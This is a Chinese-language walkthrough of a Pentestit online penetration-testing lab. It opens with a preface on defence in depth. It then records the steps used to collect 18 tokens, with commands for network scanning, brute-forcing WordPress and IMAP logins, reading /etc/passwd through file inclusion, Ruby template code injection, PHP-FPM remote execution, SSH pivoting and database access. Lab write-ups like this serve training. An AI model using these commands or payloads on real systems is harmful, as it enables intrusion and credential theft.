whoami_cat
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言:
这个是2020 年打的一个靶机,最近偶然看到,做了一些思考,这个虽然只是一个靶场场景,但类似的攻防模式在攻防演练中并不少见:通过单点突破扩展到全局,最终攻破立体化架构。可以看到,本次攻击流程清晰验证了纵深防御体系的脆弱性:攻击者利用未修复的 WordPress 插件漏洞实现初始突破,通过弱口令和配置缺陷完成 5 次网络层跨越,最终凭借开发环境与生产系统的直连漏洞获取核心数据。整个过程暴露出多处致命隐患,形成多米诺骨牌效应,使单点突破轻松瓦解整个防御体系。所以说,甲方企业在安全建设中,不能止步于边界防护,更应建立持续漏洞修复机制、动态访问控制体系和严格的配置基线管理。正如 NIST 网络安全框架所指出的:“真正的防御弹性不在于阻断所有攻击,而在于破坏攻击链的必然性。”本次靶机场景也充分证明,当企业安全能力从“单点加固”进化为“链式防御”,攻击者的突破成本将呈指数级上升,而这正是现代甲方安全体系建设的核心价值所在。
二营长,意大利炮呢?
Pentestit-Lab是一个与Offensive Security的实验室类似的在线渗透测试虚拟实验室。这个实验环境中包含12个系统,分别有各种各样的漏洞和配置错误。在每个系统上都有一个token,我们需要找到它并将其上传,用于验证攻破该系统。
官网:https://lab.pentestit.ru/
核心攻击路径
本套靶场涉及到的面很多,这里总结一下核心攻击路径,帮助大家扩展攻击思考:
信息收集
使用
Nmap
全网段扫描定位存活主机WPScan
识别 WordPress 插件漏洞Hydra
爆破 IMAP 邮件服务
漏洞利用
WordPress 插件文件包含漏洞
Ruby on Rails 日志污染漏洞
PHP-FPM 远程代码执行
横向移动
虚拟专网配置文件获取内网权限
SSH 隧道穿透多层网络边界
SNMP 弱口令渗透网络设备
权限提升
硬编码密钥逆向分析
SSH 私钥复用攻击
数据库凭证提取
最终成果:共获取 18 个 Token,完整验证从外网到核心内网的渗透路径。
开炮、开炮、开炮!
首先打开靶机,可以看到给了两个ip
先扫描整个b段
nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_output.xml ip/16 探测整个b段
可以发现这么多主机
192.168.101.14/15
192.168.109.1
192.168.109.2/133/254
192.168.111.21/20/31/30
192.168.114.15/16/17
192.168.190.1
192.168.255.250
然后在针对各ip进行端口服务探测,这里先探测101.14
根据端口判断存在web页面,80为一个wordpress站点(看源码),8080为一个邮件系统,并且开启143邮件服务,目前思路可以尝试wordress相关漏洞以及通过143邮件服务爆破密码(收集用户名)。
首先对80端口进行测试,看源码发现为wordpress,并且存在xmlrpc.php页面,我们就可以xmlrpc.php提供的接口尝试猜解用户的密码,可以绕过wordpress对暴力破解的限制,随便跑了跑,并没有跑出账号密码。
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>amdin</value></param>
<param><value>123456</value></param>
</params>
</methodCall>
然后利用wpscan开始扫描漏洞以及枚举插件
wpscan --url http://site.test.lab --random-user-agent -e p
发现该存在该插件,有sql注入以及文件包含,可以测测是否存在
测试包含本地文件:http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
获取第一个token
通过收集一共发现四个邮件,由于8080为邮件登录,而143存在imap邮件服务,即可爆破
hydra imap://192.168.101.14 -L 1.test -P my/1wpass.txt -f –v –t 10
邮件发现第二个token。
然后继续信息收集,下载了四个软件
解压第四个压缩包,并启动
然后发现多了个网卡,然后继续查看刚才下载的那几个包,
有个jar文件,执行之后并无果
然后反编译看看代码,获取第三个token。
由于之前挂着代理,可以直接连接该ip,连接之前需要把sshpass,生成一下。
ssh dev@172.16.20.2然后连接成功发现第四个token
利用ssh+sockets,即可访问到172.16.0.12
通过页面代码,可以判断为ruby on rails,ruby有几个漏洞,我们可以利用日志污染的手法,从文件包含到代码执行,但是运气好的是,他直接页面就返回数据了,那我们就可以直接构造ruby语句 <%=%x|id|%>
最终获取第五token
然后继续在172.16.20.2主机信息收集一下,看看是否有信息,发现crt 和key 即可继续连接,获取另外一个网段
利用openvpn –-config 修改为14(第一个代理为15,另外一个就是14),并加入dev key以及cert,如果不加入,无法连接
加入之后连接即可
这个是另外一个14内网,挂着该代理扫描整个b段,或者由下面dns域传输泄露的ip,即可判断可以探测哪个内网,可以初步172.16.0.0/24、172.16.50.1/24、172.16.40.0/24三个内网段。
先扫描172.16.整个b段吧
发现172.16.50.11等等几个开启80,然后扫描目录发现第六个token
然后继续探测,发现50.50开启161端口,即snmp,
首先尝试public弱口令,无果
然后利用scanner/snmp/snmp_login尝试爆破
然后利用snmpwalk查询,获取第七token
由于发现很多主机开启ssh,尝试爆破利用之前收集账号密码进行撞库以及常用账号弱口令。最终发现172.16.60.2-5都存在弱口令1234qwer,分别连进ssh sidorov@172.16.60.4服务器,进行信息收集(注意隐藏文件)。
发现第八个token,继续信息收集,在scripts中然后发现了dump,cat一下发现有东西,,
查看文件类型file,然后寻找tcpdump使用./tcpdump -r /opt/dump –A -n port 80,发现第九个token
以及密钥
利用密钥尝试登录开启22端口的ip
修改权限600登录-i私钥登录即可
这里发现第十个token
然后继续信息收集,根据域传输漏洞发现172.16.40.3为admin.test.lab,扫描无果,可能在40.2才能访问,所以挂个ssh+sockets5代理转发,ssh -fN -D 1080 -i id_rsa sidorov@172.16.40.2,然后设置socket5转发即可,访问172.16.40.3
然后发现端口9000,想到PHP-FPM远程命令执行,
proxychains python fpm.py 172.16.40.3 /usr/local/lib/php/PEAR.php -c ""即可获取第十一token
然后继续往里走,根据dns域传输的路由表,挂ssh
ssh -L 7777:localhost:6666 root@192.168.1.242,将本机的 7777 端口转发到目标机器 192.168.1.242 的6666上。
ssh -L 9000:172.16.40.6:22 -i id_rsa sidorov@172.16.40.2
ssh -L 9200:172.16.40.7:9200 -i id_rsa sidorov@localhost –p 9000
然后即可访问到,然后爆破弱口令登录即可拿到token
另外一个
ssh -L 9000:172.16.40.6:22 -i id_rsa sidorov@172.16.40.2
ssh -L 2222:172.16.40.4:22 -i id_rsa sidorov@localhost –p 9000
ssh -i id_rsa sidorov@localhost –2 2222
里面有个resevr,反编译即可拿到token
继续查看dns域传输的路由表,发现172.16.0.21为git.test.lab,即192.168.101.15
然后登录即可拿到第十二个token
然后发现python文件
下载然后,修改一下逻辑,随便输入密码即可输出token,
运行即可拿到,第十三个key
然后访问50.21端口,发现该页面
把之前邮件收集账号密码以及常见用户进行爆破,发现之前Dev账号密码可登录
发现里面没有什么搞的,没有敏感信息,搜索框也没有注入,然后利用bfac,扫描泄露Web应用程序源代码
下载下来简单审计一下,发现可以执行cmd,然后还有DB.php
然后find –name .token找到十四个token
然后cat 查看db.php
进而连接数据库,查找token即可
mysql -h 172.16.40.5 -P3306 -u php-site -p'fqafG32rGpwvbcsof' -se "show databases;"
然后找到第十五个token
mysql -h 172.16.40.5 -P3306 -u php-site -p'fqafG32rGpwvbcsof' -se "select * from php.other;"
这个网段没什么搞得了,然后挂着另外一台代理,扫描整理172.16b段,判断存活主机
nmap -Pn -p 1-1000 --min-hostgroup 1024 --min-parallelism 1024 172.16.0.1/16 -oG nmap.txt
发现80端口,怎能轻易放过,只不过访问为nginx页面,扫描目录dirb http://172.16.0.11/ -a "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
,即出现第十六个token
然后发现53端口,判断是否存在dns域传输漏洞,
利用dig axfr @ip 域名以及nmap脚本都可
找到第十七个token
然后172.16.0.20存在445,尝试有没有ms17-010,以及进行一些smb用户以及密码爆破
利用enum4linux ip 做所有简单枚举 enum4linux
找到第十八个token
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)